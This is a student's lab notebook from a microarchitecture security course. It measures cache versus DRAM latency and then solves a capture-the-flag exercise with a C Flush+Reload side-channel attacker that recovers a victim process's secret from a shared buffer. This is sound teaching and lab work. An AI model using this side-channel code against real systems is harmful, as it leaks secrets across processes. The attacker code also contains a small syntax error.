Microarchitecure Security
Setting up Environment¶
- I have installed make and gcc using command sudo apt install make gcc*
- Downloaded part1 and part2 using
wgethttps://class.academany.org/futures/cybersecurity/2026/curriculum/lectures/Part1-Timing.ziphttps://class.academany.org/futures/cybersecurity/2026/curriculum/lectures/Part2-FlushReload.zip
Then I unziped the labs. ( unzip Part1-Timing.zip Part2-FlushReload.zip )
Part 1: Timing the Cache vs. Main Memory¶
unzip Part1-Timing.zip
cd Part1-Timing
norbu@Norgyel:~/Part1-Timing$
norbu@Norgyel:~/Part1-Timing$ nano main.c
!
Using Code in nano timing.c¶
#include <stdbool.h>
#include "utility.h"
#define LINE_SIZE 64
int main (int ac, char **av) {
// Two arrays to store our latency measurements.
// (Initialized to 0.)
uint64_t l1_latency[SAMPLES] = {0};
uint64_t dram_latency[SAMPLES] = {0};
// A temporary variable we can use to load addresses.
uint8_t tmp;
// Allocate a small buffer (one cache line) to measure against.
// The "volatile" keyword tells the compiler NOT to keep this in a
// register -- every access should really go to memory / the cache.
volatile uint8_t *target_buffer = (uint8_t *)malloc(LINE_SIZE);
if (NULL == target_buffer) {
perror("Unable to malloc");
return EXIT_FAILURE;
}
// ======
// Cache (L1) latency -- WORKED EXAMPLE
// ======
// The data is in the cache, so each timed read should be FAST.
for (int i = 0; i < SAMPLES; i++) {
// Step 1: bring the target line into the cache by accessing it.
tmp = target_buffer[0];
// Step 2: measure how long it takes to read it again.
l1_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
}
// ======
// DRAM latency
// ======
// The data must NOT be in the cache, so each timed read is SLOW.
for (int i = 0; i < SAMPLES; i++) {
// Step 1: flush the target line out of the cache.
clflush((void *) target_buffer);
// Step 2: measure how long it takes to read it.
dram_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
}
// Measure first, print later: now that all measurements are done,
// print the results.
print_results_plaintext(l1_latency, dram_latency);
free((uint8_t *)target_buffer);
return 0;
}
make
make run

Cache (L1) :Median Latency: 28 cycles¶
DRAM Median Latency: 217 cycles¶
How big is the difference?¶
Difference in cycles: 217-28=189” cycles¶
Part 2: Capture the Flag with Flush+Reload¶
Cheched whether i have donloaded file using (find ~ -type f \( -name "*.zip" -o -name "*.tar.gz" -o -name "*.tar" \) ) and found downloaded.
Installed unzip ( sudo apt update ) then sudo apt install unzip -y
Extract part2 FlushReload.zip ( unzip Part2-FlushReload.zip)
Then checked extracted folder using ls command.
Enter the folder using cd Part2-FlushReload
norbu@Norgyel:~/Part2-FlushReload$
make run_victim¶
make run_victim
When i go on running the victim code flag number goes on changing.
Cache (lscpu | grep cache)¶
CPU cache hierarchy (slide 27 of the lecture)

Run attacker¶
run attacker remain same after running command again and again.
I have ran this command to replace the line automatically:
sed -i ‘s/CFLAGS=-O0/CFLAGS=-O0 -no-pie/’ Makefile
ubuntu@ff-cs-norbu-gyeltshen:~/Part2-FlushReload$ sed -i ‘s/CFLAGS=-O0/CFLAGS=-O0 -no-pie/’ Makefile

Using the code¶
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include "util.h"
#define REPEATS 100000
#define WAIT 100
int main() {
int flag = -1;
// buf is shared between the attacker and the victim
char *buf = allocate_shared_buffer();
while (true) {
CYCLES total_time[SEC_RANGE] = {0};
int total_num[SEC_RANGE] = {0};
for (int i = 0; i < REPEATS; i++) {
// Flush
for (int x = 0; x < SEC_RANGE; x++) {
clflush((ADDR_PTR) (buf + x * ALIGN));
}
// randomized order so the prefetcher can't predict my pattern.
int guess = rand() % SEC_RANGE;
// Wait
for (int j = 0; j < WAIT; j++) {
int y = 1;
}
// Reload
CYCLES t = measure_one_block_access_time((ADDR_PTR) (buf + guess * ALIGN));
// Record measurement
total_time[guess] += t;
total_num[guess]++;
}
// Find flag by finding minimal avg access time
float min_time = (float) UINT32_MAX;
for (int x = 0; x < SEC_RANGE; x++) {
float time = (float) total_time[x] / (float) total_num[x];
if (time < min_time) {
flag = x;
min_time = time;
}
}
// If we are under the threshold we got from the previous challenge, we have a hit, that data resides in cache
if (min_time < 200) {
printf("Min time: %f\n, min_time);
printf("Flag: %d\n", flag);
break;
}
}
deallocate_shared_buffer(buf);
return 0;
}
Victim¶

Attacker¶
